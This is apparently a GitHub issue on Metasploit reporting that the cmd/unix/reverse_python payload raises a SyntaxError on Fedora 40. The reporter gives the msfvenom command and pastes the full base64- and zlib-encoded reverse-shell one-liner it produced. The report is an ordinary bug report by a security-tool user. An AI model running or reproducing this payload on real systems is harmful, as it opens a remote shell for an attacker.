Skip to content

Payload cmd/unix/reverse_python gives "Syntax error" on recent Linux systems #19811

@q2dg

Description

@q2dg

For instance, doing this in Fedora 40 (msfvenom -p cmd/unix/reverse_python -f raw -o jejeje) I get this when I run python jejeje:

File "/home/q2dg/jejeje", line 1
python -c "exec(import('zlib').decompress(import('base64').b64decode(import('codecs').getencoder('utf-8')('eNrLzC3ILypRKM5Pzk4tUQABHSAuLk0qKMpPTi0uhgvlQ5gKCtYQKiO/uMRWydDSSM/QzELPEEiaK6GqABlsawIEqMLFthDL9CCUBpTn6Bbv6ecagnACRDjY39k7PjgkyNXRVxPNHL3k/Ly81OQSDQ2QW+AaQdZqoqnNL9ZLKS0w0ijWS8vMSc3L19CEKzcgXqkh8UqN0JQW2CKCVC85MSdHQ0k/KTNPvzhDSRMAuPpfLA==')[0])))"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: invalid syntax

Thanks

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    Status

    Todo

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions